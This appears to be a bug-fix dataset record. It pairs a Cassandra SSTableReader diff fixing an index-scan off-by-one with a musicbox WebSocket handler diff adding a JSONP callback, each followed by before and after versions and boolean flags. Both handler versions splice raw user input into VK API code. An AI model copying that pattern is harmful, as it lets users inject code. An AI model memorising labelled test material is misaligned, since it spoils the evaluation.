bf.add(decoratedKey.key); // if summary was already read from disk we don't want to re-populate it using primary index if (!summaryLoaded) { indexSummary.maybeAddEntry(decoratedKey, indexPosition); ibuilder.addPotentialBoundary(indexPosition); dbuilder.addPotentialBoundary(indexEntry.position); } } } finally { FileUtils.closeQuietly(primaryIndex); } first = getMinimalKey(first); last = getMinimalKey(last); // finalize the load. indexSummary.complete(); // finalize the state of the reader ifile = ibuilder.complete(descriptor.filenameFor(Component.PRIMARY_INDEX)); dfile = dbuilder.complete(descriptor.filenameFor(Component.DATA)); if (readIndex) // save summary information to disk saveSummary(this, ibuilder, dbuilder); } public static boolean loadSummary(SSTableReader reader, SegmentedFile.Builder ibuilder, SegmentedFile.Builder dbuilder) { File summariesFile = new File(reader.descriptor.filenameFor(Component.SUMMARY)); if (!summariesFile.exists()) return false; DataInputStream iStream = null; try { iStream = new DataInputStream(new FileInputStream(summariesFile)); reader.indexSummary = IndexSummary.serializer.deserialize(iStream, reader.partitioner); reader.first = decodeKey(reader.partitioner, reader.descriptor, ByteBufferUtil.readWithLength(iStream)); reader.last = decodeKey(reader.partitioner, reader.descriptor, ByteBufferUtil.readWithLength(iStream)); ibuilder.deserializeBounds(iStream); dbuilder.deserializeBounds(iStream); } catch (IOException e) { logger.debug("Cannot deserialize SSTable Summary: ", e); // corrupted hence delete it and let it load it now. if (summariesFile.exists()) summariesFile.delete(); return false; } finally { FileUtils.closeQuietly(iStream); } return true; } public static void saveSummary(SSTableReader reader, SegmentedFile.Builder ibuilder, SegmentedFile.Builder dbuilder) { File summariesFile = new File(reader.descriptor.filenameFor(Component.SUMMARY)); if (summariesFile.exists()) summariesFile.delete(); DataOutputStream oStream = null; try { oStream = new DataOutputStream(new FileOutputStream(summariesFile)); IndexSummary.serializer.serialize(reader.indexSummary, oStream); ByteBufferUtil.writeWithLength(reader.first.key, oStream); ByteBufferUtil.writeWithLength(reader.last.key, oStream); ibuilder.serializeBounds(oStream); dbuilder.serializeBounds(oStream); } catch (IOException e) { logger.debug("Cannot save SSTable Summary: ", e); // corrupted hence delete it and let it load it now. if (summariesFile.exists()) summariesFile.delete(); } finally { FileUtils.closeQuietly(oStream); } } private void validate() { if (this.first.compareTo(this.last) > 0) throw new IllegalStateException(String.format("SSTable first key %s > last key %s", this.first, this.last)); } /** get the position in the index file to start scanning to find the given key (at most indexInterval keys away) */ public long getIndexScanPosition(RowPosition key) { assert indexSummary.getKeys() != null && indexSummary.getKeys().size() > 0; int index = Collections.binarySearch(indexSummary.getKeys(), key); if (index < 0) { // binary search gives us the first index _greater_ than the key searched for, // i.e., its insertion position int greaterThan = (index + 1) * -1; if (greaterThan == 0) return -1; return indexSummary.getPosition(greaterThan - 1); } else { return indexSummary.getPosition(index); } } /** * Returns the compression metadata for this sstable. * @throws IllegalStateException if the sstable is not compressed */ public CompressionMetadata getCompressionMetadata() { if (!compression) throw new IllegalStateException(this + " is not compressed"); return ((CompressedSegmentedFile)dfile).metadata; } /** * For testing purposes only. */ public void forceFilterFailures() { bf = LegacyBloomFilter.alwaysMatchingBloomFilter(); } public Filter getBloomFilter() { return bf; } public long getBloomFilterSerializedSize() { return FilterFactory.serializedSize(bf, descriptor.version.filterType); } /** * @return An estimate of the number of keys in this SSTable. */ public long estimatedKeys() { return indexSummary.getKeys().size() * DatabaseDescriptor.getIndexInterval(); } /** * @param ranges * @return An estimate of the number of keys for given ranges in this SSTable. */ public long estimatedKeysForRanges(Collection<Range<Token>> ranges) { long sampleKeyCount = 0; List<Pair<Integer, Integer>> sampleIndexes = getSampleIndexesForRanges(indexSummary.getKeys(), ranges); for (Pair<Integer, Integer> sampleIndexRange : sampleIndexes) sampleKeyCount += (sampleIndexRange.right - sampleIndexRange.left + 1); return Math.max(1, sampleKeyCount * DatabaseDescriptor.getIndexInterval()); } /** * @return Approximately 1/INDEX_INTERVALth of the keys in this SSTable. */ public Collection<DecoratedKey> getKeySamples() { return indexSummary.getKeys(); } private static List<Pair<Integer,Integer>> getSampleIndexesForRanges(List<DecoratedKey> samples, Collection<Range<Token>> ranges) { // use the index to determine a minimal section for each range List<Pair<Integer,Integer>> positions = new ArrayList<Pair<Integer,Integer>>(); if (samples.isEmpty()) return positions; for (Range<Token> range : Range.normalize(ranges)) { RowPosition leftPosition = range.left.maxKeyBound(); RowPosition rightPosition = range.right.maxKeyBound(); int left = Collections.binarySearch(samples, leftPosition); if (left < 0) left = (left + 1) * -1; else // left range are start exclusive left = left + 1; if (left == samples.size()) // left is past the end of the sampling continue; int right = Range.isWrapAround(range.left, range.right) ? samples.size() - 1 : Collections.binarySearch(samples, rightPosition); if (right < 0) { // range are end inclusive so we use the previous index from what binarySearch give us // since that will be the last index we will return right = (right + 1) * -1; if (right == 0) // Means the first key is already stricly greater that the right bound continue; right--; } if (left > right) // empty range continue; positions.add(Pair.create(Integer.valueOf(left), Integer.valueOf(right))); } return positions; } public Iterable<DecoratedKey> getKeySamples(final Range<Token> range) { final List<DecoratedKey> samples = indexSummary.getKeys(); final List<Pair<Integer, Integer>> indexRanges = getSampleIndexesForRanges(samples, Collections.singletonList(range)); if (indexRanges.isEmpty()) return Collections.emptyList(); return new Iterable<DecoratedKey>() { public Iterator<DecoratedKey> iterator() { return new Iterator<DecoratedKey>() { private Iterator<Pair<Integer, Integer>> rangeIter = indexRanges.iterator(); private Pair<Integer, Integer> current; private int idx; public boolean hasNext() { if (current == null || idx > current.right) { if (rangeIter.hasNext()) { current = rangeIter.next(); idx = current.left; return true; } return false; } return true; } public DecoratedKey next() { RowPosition k = samples.get(idx++); // the index should only contain valid row key, we only allow RowPosition in KeyPosition for search purposes assert k instanceof DecoratedKey; return (DecoratedKey)k; } public void remove() { throw new UnsupportedOperationException(); } }; } }; } /** * Determine the minimal set of sections that can be extracted from this SSTable to cover the given ranges. * @return A sorted list of (offset,end) pairs that cover the given ranges in the datafile for this SSTable. */ public List<Pair<Long,Long>> getPositionsForRanges(Collection<Range<Token>> ranges) { // use the index to determine a minimal section for each range List<Pair<Long,Long>> positions = new ArrayList<Pair<Long,Long>>(); for (Range<Token> range : Range.normalize(ranges)) { AbstractBounds<RowPosition> keyRange = range.toRowBounds(); RowIndexEntry idxLeft = getPosition(keyRange.left, Operator.GT); long left = idxLeft == null ? -1 : idxLeft.position; if (left == -1) // left is past the end of the file continue; RowIndexEntry idxRight = getPosition(keyRange.right, Operator.GT); long right = idxRight == null ? -1 : idxRight.position; if (right == -1 || Range.isWrapAround(range.left, range.right)) // right is past the end of the file, or it wraps right = uncompressedLength(); if (left == right) // empty range continue; positions.add(Pair.create(Long.valueOf(left), Long.valueOf(right))); } return positions; } public void cacheKey(DecoratedKey key, RowIndexEntry info) { CFMetaData.Caching caching = metadata.getCaching(); if (keyCache == null || caching == CFMetaData.Caching.NONE || caching == CFMetaData.Caching.ROWS_ONLY || keyCache.getCapacity() == 0) return; // avoid keeping a permanent reference to the original key buffer KeyCacheKey cacheKey = new KeyCacheKey(descriptor, ByteBufferUtil.clone(key.key)); logger.trace("Adding cache entry for {} -> {}", cacheKey, info); keyCache.put(cacheKey, info); } public RowIndexEntry getCachedPosition(DecoratedKey key, boolean updateStats) { return getCachedPosition(new KeyCacheKey(descriptor, key.key), updateStats); } private RowIndexEntry getCachedPosition(KeyCacheKey unifiedKey, boolean updateStats) { if (keyCache != null && keyCache.getCapacity() > 0) return updateStats ? keyCache.get(unifiedKey) : keyCache.getInternal(unifiedKey); return null; } /** * Get position updating key cache and stats. * @see #getPosition(org.apache.cassandra.db.RowPosition, org.apache.cassandra.io.sstable.SSTableReader.Operator, boolean) */ public RowIndexEntry getPosition(RowPosition key, Operator op) { return getPosition(key, op, true); } /** * @param key The key to apply as the rhs to the given Operator. A 'fake' key is allowed to * allow key selection by token bounds but only if op != * EQ * @param op The Operator defining matching keys: the nearest key to the target matching the operator wins. * @param updateCacheAndStats true if updating stats and cache * @return The index entry corresponding to the key, or null if the key is not present */ public RowIndexEntry getPosition(RowPosition key, Operator op, boolean updateCacheAndStats) { // first, check bloom filter if (op == Operator.EQ) { assert key instanceof DecoratedKey; // EQ only make sense if the key is a valid row key if (!bf.isPresent(((DecoratedKey)key).key)) return null; } // next, the key cache (only make sense for valid row key) if ((op == Operator.EQ || op == Operator.GE) && (key instanceof DecoratedKey)) { DecoratedKey decoratedKey = (DecoratedKey)key; KeyCacheKey cacheKey = new KeyCacheKey(descriptor, decoratedKey.key); RowIndexEntry cachedPosition = getCachedPosition(cacheKey, updateCacheAndStats); if (cachedPosition != null) { logger.trace("Cache hit for {} -> {}", cacheKey, cachedPosition); return cachedPosition; } } // next, see if the sampled index says it's impossible for the key to be present long sampledPosition = getIndexScanPosition(key); if (sampledPosition == -1) { if (op == Operator.EQ && updateCacheAndStats) bloomFilterTracker.addFalsePositive(); // we matched the -1th position: if the operator might match forward, we'll start at the first // position. We however need to return the correct index entry for that first position. if (op.apply(1) >= 0) sampledPosition = 0; else return null; } // scan the on-disk index, starting at the nearest sampled position. // The check against IndexInterval is to be exit the loop in the EQ case when the key looked for is not present - // (bloom filter false positive). + // (bloom filter false positive). But note that for non-EQ cases, we might need to check the first key of the + // next index position because the searched key can be greater the last key of the index interval checked if it + // is lesser than the first key of next interval (and in that case we must return the position of the first key + // of the next interval). int i = 0; Iterator<FileDataInput> segments = ifile.iterator(sampledPosition, INDEX_FILE_BUFFER_BYTES); - while (segments.hasNext() && i < DatabaseDescriptor.getIndexInterval()) + while (segments.hasNext() && i <= DatabaseDescriptor.getIndexInterval()) { FileDataInput in = segments.next(); try { - while (!in.isEOF() && i < DatabaseDescriptor.getIndexInterval()) + while (!in.isEOF() && i <= DatabaseDescriptor.getIndexInterval()) { i++; ByteBuffer indexKey = ByteBufferUtil.readWithShortLength(in); boolean opSatisfied; // did we find an appropriate position for the op requested boolean exactMatch; // is the current position an exact match for the key, suitable for caching // Compare raw keys if possible for performance, otherwise compare decorated keys. if (op == Operator.EQ) { opSatisfied = exactMatch = indexKey.equals(((DecoratedKey) key).key); } else { DecoratedKey indexDecoratedKey = decodeKey(partitioner, descriptor, indexKey); int comparison = indexDecoratedKey.compareTo(key); int v = op.apply(comparison); opSatisfied = (v == 0); exactMatch = (comparison == 0); if (v < 0) return null; } if (opSatisfied) { // read data position from index entry RowIndexEntry indexEntry = RowIndexEntry.serializer.deserialize(in, descriptor.version); if (exactMatch && keyCache != null && keyCache.getCapacity() > 0 && updateCacheAndStats) { assert key instanceof DecoratedKey; // key can be == to the index key only if it's a true row key DecoratedKey decoratedKey = (DecoratedKey)key; if (logger.isTraceEnabled()) { // expensive sanity check! see CASSANDRA-4687 FileDataInput fdi = dfile.getSegment(indexEntry.position); DecoratedKey keyInDisk = SSTableReader.decodeKey(partitioner, descriptor, ByteBufferUtil.readWithShortLength(fdi)); if (!keyInDisk.equals(key)) throw new AssertionError(String.format("%s != %s in %s", keyInDisk, key, fdi.getPath())); fdi.close(); } // store exact match for the key cacheKey(decoratedKey, indexEntry); } if (op == Operator.EQ && updateCacheAndStats) bloomFilterTracker.addTruePositive(); return indexEntry; } RowIndexEntry.serializer.skip(in, descriptor.version); } } catch (IOException e) { markSuspect(); throw new CorruptSSTableException(e, in.getPath()); } finally { FileUtils.closeQuietly(in); } } if (op == Operator.EQ && updateCacheAndStats) bloomFilterTracker.addFalsePositive(); return null; } /** * @return The length in bytes of the data for this SSTable. For * compressed files, this is not the same thing as the on disk size (see * onDiskLength()) */ public long uncompressedLength() { return dfile.length; } /** * @return The length in bytes of the on disk size for this SSTable. For * compressed files, this is not the same thing as the data length (see * length()) */ public long onDiskLength() { return dfile.onDiskLength; } public boolean acquireReference() { while (true) { int n = references.get(); if (n <= 0) return false; if (references.compareAndSet(n, n + 1)) return true; } } public void releaseReference() { if (references.decrementAndGet() == 0 && isCompacted.get()) { // Force finalizing mmapping if necessary ifile.cleanup(); dfile.cleanup(); deletingTask.schedule(); } assert references.get() >= 0 : "Reference counter " + references.get() + " for " + dfile.path; } /** * Mark the sstable as compacted. * When calling this function, the caller must ensure that the SSTableReader is not referenced anywhere * except for threads holding a reference. * * @return true if the this is the first time the file was marked compacted. With rare exceptions * (see DataTracker.unmarkCompacted) calling this multiple times would be buggy. */ public boolean markCompacted() { if (logger.isDebugEnabled()) logger.debug("Marking " + getFilename() + " compacted"); return !isCompacted.getAndSet(true); } public void markSuspect() { if (logger.isDebugEnabled()) logger.debug("Marking " + getFilename() + " as a suspect for blacklisting."); isSuspect.getAndSet(true); } public boolean isMarkedSuspect() { return isSuspect.get(); } /** * * @param filter filter to use when reading the columns * @return A Scanner for seeking over the rows of the SSTable. */ public SSTableScanner getScanner(QueryFilter filter) { return new SSTableScanner(this, filter); } /** * Direct I/O SSTableScanner * @return A Scanner for seeking over the rows of the SSTable. */ public SSTableScanner getDirectScanner() { return new SSTableScanner(this, true); } /** * Direct I/O SSTableScanner over a defined range of tokens. * * @param range the range of keys to cover * @return A Scanner for seeking over the rows of the SSTable. */ public SSTableScanner getDirectScanner(Range<Token> range) { if (range == null) return getDirectScanner(); return new SSTableBoundedScanner(this, true, range); } public FileDataInput getFileDataInput(long position) { return dfile.getSegment(position); } /** * Tests if the sstable contains data newer than the given age param (in localhost currentMilli time). * This works in conjunction with maxDataAge which is an upper bound on the create of data in this sstable. * @param age The age to compare the maxDataAre of this sstable. Measured in millisec since epoc on this host * @return True iff this sstable contains data that's newer than the given age parameter. */ public boolean newSince(long age) { return maxDataAge > age; } public static long readRowSize(DataInput in, Descriptor d) throws IOException { if (d.version.hasIntRowSize) return in.readInt(); return in.readLong(); } public void createLinks(String snapshotDirectoryPath) { for (Component component : components) { File sourceFile = new File(descriptor.filenameFor(component)); File targetLink = new File(snapshotDirectoryPath, sourceFile.getName()); FileUtils.createHardLink(sourceFile, targetLink); } } /** * Conditionally use the deprecated 'IPartitioner.convertFromDiskFormat' method. */ public static DecoratedKey decodeKey(IPartitioner p, Descriptor d, ByteBuffer bytes) { if (d.version.hasEncodedKeys) return p.convertFromDiskFormat(bytes); return p.decorateKey(bytes); } public DecoratedKey decodeKey(ByteBuffer bytes) { return decodeKey(partitioner, descriptor, bytes); } /** * TODO: Move someplace reusable */ public abstract static class Operator { public static final Operator EQ = new Equals(); public static final Operator GE = new GreaterThanOrEqualTo(); public static final Operator GT = new GreaterThan(); /** * @param comparison The result of a call to compare/compareTo, with the desired field on the rhs. * @return less than 0 if the operator cannot match forward, 0 if it matches, greater than 0 if it might match forward. */ public abstract int apply(int comparison); final static class Equals extends Operator { public int apply(int comparison) { return -comparison; } } final static class GreaterThanOrEqualTo extends Operator { public int apply(int comparison) { return comparison >= 0 ? 0 : -comparison; } } final static class GreaterThan extends Operator { public int apply(int comparison) { return comparison > 0 ? 0 : 1; } } } public long getBloomFilterFalsePositiveCount() { return bloomFilterTracker.getFalsePositiveCount(); } public long getRecentBloomFilterFalsePositiveCount() { return bloomFilterTracker.getRecentFalsePositiveCount(); } public long getBloomFilterTruePositiveCount() { return bloomFilterTracker.getTruePositiveCount(); } public long getRecentBloomFilterTruePositiveCount() { return bloomFilterTracker.getRecentTruePositiveCount(); } public InstrumentingCache<KeyCacheKey, RowIndexEntry> getKeyCache() { return keyCache; } public EstimatedHistogram getEstimatedRowSize() { return sstableMetadata.estimatedRowSize; } public EstimatedHistogram getEstimatedColumnCount() { return sstableMetadata.estimatedColumnCount; } public double getEstimatedDroppableTombstoneRatio(int gcBefore) { return sstableMetadata.getEstimatedDroppableTombstoneRatio(gcBefore); } public double getCompressionRatio() { return sstableMetadata.compressionRatio; } public ReplayPosition getReplayPosition() { return sstableMetadata.replayPosition; } public long getMaxTimestamp() { return sstableMetadata.maxTimestamp; } public Set<Integer> getAncestors() { return sstableMetadata.ancestors; } public RandomAccessReader openDataReader(boolean skipIOCache) { return compression ? CompressedRandomAccessReader.open(getFilename(), getCompressionMetadata(), skipIOCache) : RandomAccessReader.open(new File(getFilename()), skipIOCache); } public RandomAccessReader openIndexReader(boolean skipIOCache) { return RandomAccessReader.open(new File(getIndexFilename()), skipIOCache); } /** * @param sstables * @return true if all desired references were acquired. Otherwise, it will unreference any partial acquisition, and return false. */ public static boolean acquireReferences(Iterable<SSTableReader> sstables) { SSTableReader failed = null; for (SSTableReader sstable : sstables) { if (!sstable.acquireReference()) { failed = sstable; break; } } if (failed == null) return true; for (SSTableReader sstable : sstables) { if (sstable == failed) break; sstable.releaseReference(); } return false; } public static void releaseReferences(Iterable<SSTableReader> sstables) { for (SSTableReader sstable : sstables) { sstable.releaseReference(); } } }
false
true
public RowIndexEntry getPosition(RowPosition key, Operator op, boolean updateCacheAndStats) { // first, check bloom filter if (op == Operator.EQ) { assert key instanceof DecoratedKey; // EQ only make sense if the key is a valid row key if (!bf.isPresent(((DecoratedKey)key).key)) return null; } // next, the key cache (only make sense for valid row key) if ((op == Operator.EQ || op == Operator.GE) && (key instanceof DecoratedKey)) { DecoratedKey decoratedKey = (DecoratedKey)key; KeyCacheKey cacheKey = new KeyCacheKey(descriptor, decoratedKey.key); RowIndexEntry cachedPosition = getCachedPosition(cacheKey, updateCacheAndStats); if (cachedPosition != null) { logger.trace("Cache hit for {} -> {}", cacheKey, cachedPosition); return cachedPosition; } } // next, see if the sampled index says it's impossible for the key to be present long sampledPosition = getIndexScanPosition(key); if (sampledPosition == -1) { if (op == Operator.EQ && updateCacheAndStats) bloomFilterTracker.addFalsePositive(); // we matched the -1th position: if the operator might match forward, we'll start at the first // position. We however need to return the correct index entry for that first position. if (op.apply(1) >= 0) sampledPosition = 0; else return null; } // scan the on-disk index, starting at the nearest sampled position. // The check against IndexInterval is to be exit the loop in the EQ case when the key looked for is not present // (bloom filter false positive). int i = 0; Iterator<FileDataInput> segments = ifile.iterator(sampledPosition, INDEX_FILE_BUFFER_BYTES); while (segments.hasNext() && i < DatabaseDescriptor.getIndexInterval()) { FileDataInput in = segments.next(); try { while (!in.isEOF() && i < DatabaseDescriptor.getIndexInterval()) { i++; ByteBuffer indexKey = ByteBufferUtil.readWithShortLength(in); boolean opSatisfied; // did we find an appropriate position for the op requested boolean exactMatch; // is the current position an exact match for the key, suitable for caching // Compare raw keys if possible for performance, otherwise compare decorated keys. if (op == Operator.EQ) { opSatisfied = exactMatch = indexKey.equals(((DecoratedKey) key).key); } else { DecoratedKey indexDecoratedKey = decodeKey(partitioner, descriptor, indexKey); int comparison = indexDecoratedKey.compareTo(key); int v = op.apply(comparison); opSatisfied = (v == 0); exactMatch = (comparison == 0); if (v < 0) return null; } if (opSatisfied) { // read data position from index entry RowIndexEntry indexEntry = RowIndexEntry.serializer.deserialize(in, descriptor.version); if (exactMatch && keyCache != null && keyCache.getCapacity() > 0 && updateCacheAndStats) { assert key instanceof DecoratedKey; // key can be == to the index key only if it's a true row key DecoratedKey decoratedKey = (DecoratedKey)key; if (logger.isTraceEnabled()) { // expensive sanity check! see CASSANDRA-4687 FileDataInput fdi = dfile.getSegment(indexEntry.position); DecoratedKey keyInDisk = SSTableReader.decodeKey(partitioner, descriptor, ByteBufferUtil.readWithShortLength(fdi)); if (!keyInDisk.equals(key)) throw new AssertionError(String.format("%s != %s in %s", keyInDisk, key, fdi.getPath())); fdi.close(); } // store exact match for the key cacheKey(decoratedKey, indexEntry); } if (op == Operator.EQ && updateCacheAndStats) bloomFilterTracker.addTruePositive(); return indexEntry; } RowIndexEntry.serializer.skip(in, descriptor.version); } } catch (IOException e) { markSuspect(); throw new CorruptSSTableException(e, in.getPath()); } finally { FileUtils.closeQuietly(in); } } if (op == Operator.EQ && updateCacheAndStats) bloomFilterTracker.addFalsePositive(); return null; }
public RowIndexEntry getPosition(RowPosition key, Operator op, boolean updateCacheAndStats) { // first, check bloom filter if (op == Operator.EQ) { assert key instanceof DecoratedKey; // EQ only make sense if the key is a valid row key if (!bf.isPresent(((DecoratedKey)key).key)) return null; } // next, the key cache (only make sense for valid row key) if ((op == Operator.EQ || op == Operator.GE) && (key instanceof DecoratedKey)) { DecoratedKey decoratedKey = (DecoratedKey)key; KeyCacheKey cacheKey = new KeyCacheKey(descriptor, decoratedKey.key); RowIndexEntry cachedPosition = getCachedPosition(cacheKey, updateCacheAndStats); if (cachedPosition != null) { logger.trace("Cache hit for {} -> {}", cacheKey, cachedPosition); return cachedPosition; } } // next, see if the sampled index says it's impossible for the key to be present long sampledPosition = getIndexScanPosition(key); if (sampledPosition == -1) { if (op == Operator.EQ && updateCacheAndStats) bloomFilterTracker.addFalsePositive(); // we matched the -1th position: if the operator might match forward, we'll start at the first // position. We however need to return the correct index entry for that first position. if (op.apply(1) >= 0) sampledPosition = 0; else return null; } // scan the on-disk index, starting at the nearest sampled position. // The check against IndexInterval is to be exit the loop in the EQ case when the key looked for is not present // (bloom filter false positive). But note that for non-EQ cases, we might need to check the first key of the // next index position because the searched key can be greater the last key of the index interval checked if it // is lesser than the first key of next interval (and in that case we must return the position of the first key // of the next interval). int i = 0; Iterator<FileDataInput> segments = ifile.iterator(sampledPosition, INDEX_FILE_BUFFER_BYTES); while (segments.hasNext() && i <= DatabaseDescriptor.getIndexInterval()) { FileDataInput in = segments.next(); try { while (!in.isEOF() && i <= DatabaseDescriptor.getIndexInterval()) { i++; ByteBuffer indexKey = ByteBufferUtil.readWithShortLength(in); boolean opSatisfied; // did we find an appropriate position for the op requested boolean exactMatch; // is the current position an exact match for the key, suitable for caching // Compare raw keys if possible for performance, otherwise compare decorated keys. if (op == Operator.EQ) { opSatisfied = exactMatch = indexKey.equals(((DecoratedKey) key).key); } else { DecoratedKey indexDecoratedKey = decodeKey(partitioner, descriptor, indexKey); int comparison = indexDecoratedKey.compareTo(key); int v = op.apply(comparison); opSatisfied = (v == 0); exactMatch = (comparison == 0); if (v < 0) return null; } if (opSatisfied) { // read data position from index entry RowIndexEntry indexEntry = RowIndexEntry.serializer.deserialize(in, descriptor.version); if (exactMatch && keyCache != null && keyCache.getCapacity() > 0 && updateCacheAndStats) { assert key instanceof DecoratedKey; // key can be == to the index key only if it's a true row key DecoratedKey decoratedKey = (DecoratedKey)key; if (logger.isTraceEnabled()) { // expensive sanity check! see CASSANDRA-4687 FileDataInput fdi = dfile.getSegment(indexEntry.position); DecoratedKey keyInDisk = SSTableReader.decodeKey(partitioner, descriptor, ByteBufferUtil.readWithShortLength(fdi)); if (!keyInDisk.equals(key)) throw new AssertionError(String.format("%s != %s in %s", keyInDisk, key, fdi.getPath())); fdi.close(); } // store exact match for the key cacheKey(decoratedKey, indexEntry); } if (op == Operator.EQ && updateCacheAndStats) bloomFilterTracker.addTruePositive(); return indexEntry; } RowIndexEntry.serializer.skip(in, descriptor.version); } } catch (IOException e) { markSuspect(); throw new CorruptSSTableException(e, in.getPath()); } finally { FileUtils.closeQuietly(in); } } if (op == Operator.EQ && updateCacheAndStats) bloomFilterTracker.addFalsePositive(); return null; }
diff --git a/src/com/musicbox/server/packets/handlers/GetAudioByTrack.java b/src/com/musicbox/server/packets/handlers/GetAudioByTrack.java index 833e497..a491837 100644 --- a/src/com/musicbox/server/packets/handlers/GetAudioByTrack.java +++ b/src/com/musicbox/server/packets/handlers/GetAudioByTrack.java @@ -1,88 +1,89 @@ package com.musicbox.server.packets.handlers; import com.google.gson.Gson; import com.musicbox.CacheAllocator; import com.musicbox.server.MusicboxServer; import com.musicbox.server.packets.ExecuteRequest; import com.musicbox.server.packets.Packets; import com.musicbox.vkontakte.VkontakteClient; import com.musicbox.vkontakte.structure.audio.Audio; import com.musicbox.vkontakte.structure.audio.AudioSearch; import org.jetbrains.annotations.NotNull; import org.webbitserver.WebSocketConnection; /** * Created by IntelliJ IDEA. * User: giko * Date: 29.02.12 * Time: 22:53 */ class GetAudioByTrackExecuteRespond { private String query; private AudioSearch data; public String getQuery() { return query; } public void setQuery(String query) { this.query = query; } public AudioSearch getData() { return data; } public void setData(AudioSearch data) { this.data = data; } } public class GetAudioByTrack extends AbstractHandler { public GetAudioByTrack(MusicboxServer server) { super(server); } @Override public void HandlePacket(@NotNull WebSocketConnection connection, @NotNull Packets.Incoming incoming) { @NotNull CacheAllocator cacheAllocator = VkontakteClient.getCache().getAllocator("GetAudioByTrack", incoming.getMessage() + connections_.get(connection).getUid(), Audio.class); if (!cacheAllocator.exists()) { @NotNull Packets.Outgoing packet = new Packets.Outgoing(Packets.Outgoing.Action.EXECUTEREQUEST); ExecuteRequest request = new ExecuteRequest(); request.setAction(Packets.Incoming.Action.GETAUDIOBYTRACK); request.setUrl("https://api.vkontakte.ru/method/execute"); request.getData().put("code", "return API.audio.search({\"q\":\"" + incoming.getMessage() + "\",\"count\":1, \"sort\":2, \"lyrics\":1})[1];"); request.getData().put("access_token", connections_.get(connection).getToken().getAccess_token()); + request.getData().put("callback", "JSON_CALLBACK"); packet.setMessage(incoming.getMessage()); packet.setRequest(request); connection.send(packet.toJson()); return; } @NotNull Packets.Outgoing packet = new Packets.Outgoing(Packets.Outgoing.Action.AUDIO); packet.setAudio((Audio) cacheAllocator.getObject()); connection.send(packet.toJson()); } @Override public void HandleExecuteRequest(@NotNull WebSocketConnection connection, @NotNull String result) { Gson json = new Gson(); @NotNull GetAudioByTrackExecuteRespond respond = json.fromJson(result, GetAudioByTrackExecuteRespond.class); @NotNull CacheAllocator cacheAllocator = VkontakteClient.getCache().getAllocator("GetAudioByTrack", respond.getQuery() + connections_.get(connection).getUid(), Audio.class, 10); cacheAllocator.cacheObject(respond.getData().getResponse()); @NotNull Packets.Outgoing packet = new Packets.Outgoing(Packets.Outgoing.Action.AUDIO); packet.setAudio((Audio) cacheAllocator.getObject()); connection.send(packet.toJson()); } }
true
true
public void HandlePacket(@NotNull WebSocketConnection connection, @NotNull Packets.Incoming incoming) { @NotNull CacheAllocator cacheAllocator = VkontakteClient.getCache().getAllocator("GetAudioByTrack", incoming.getMessage() + connections_.get(connection).getUid(), Audio.class); if (!cacheAllocator.exists()) { @NotNull Packets.Outgoing packet = new Packets.Outgoing(Packets.Outgoing.Action.EXECUTEREQUEST); ExecuteRequest request = new ExecuteRequest(); request.setAction(Packets.Incoming.Action.GETAUDIOBYTRACK); request.setUrl("https://api.vkontakte.ru/method/execute"); request.getData().put("code", "return API.audio.search({\"q\":\"" + incoming.getMessage() + "\",\"count\":1, \"sort\":2, \"lyrics\":1})[1];"); request.getData().put("access_token", connections_.get(connection).getToken().getAccess_token()); packet.setMessage(incoming.getMessage()); packet.setRequest(request); connection.send(packet.toJson()); return; } @NotNull Packets.Outgoing packet = new Packets.Outgoing(Packets.Outgoing.Action.AUDIO); packet.setAudio((Audio) cacheAllocator.getObject()); connection.send(packet.toJson()); }
public void HandlePacket(@NotNull WebSocketConnection connection, @NotNull Packets.Incoming incoming) { @NotNull CacheAllocator cacheAllocator = VkontakteClient.getCache().getAllocator("GetAudioByTrack", incoming.getMessage() + connections_.get(connection).getUid(), Audio.class); if (!cacheAllocator.exists()) { @NotNull Packets.Outgoing packet = new Packets.Outgoing(Packets.Outgoing.Action.EXECUTEREQUEST); ExecuteRequest request = new ExecuteRequest(); request.setAction(Packets.Incoming.Action.GETAUDIOBYTRACK); request.setUrl("https://api.vkontakte.ru/method/execute"); request.getData().put("code", "return API.audio.search({\"q\":\"" + incoming.getMessage() + "\",\"count\":1, \"sort\":2, \"lyrics\":1})[1];"); request.getData().put("access_token", connections_.get(connection).getToken().getAccess_token()); request.getData().put("callback", "JSON_CALLBACK"); packet.setMessage(incoming.getMessage()); packet.setRequest(request); connection.send(packet.toJson()); return; } @NotNull Packets.Outgoing packet = new Packets.Outgoing(Packets.Outgoing.Action.AUDIO); packet.setAudio((Audio) cacheAllocator.getObject()); connection.send(packet.toJson()); }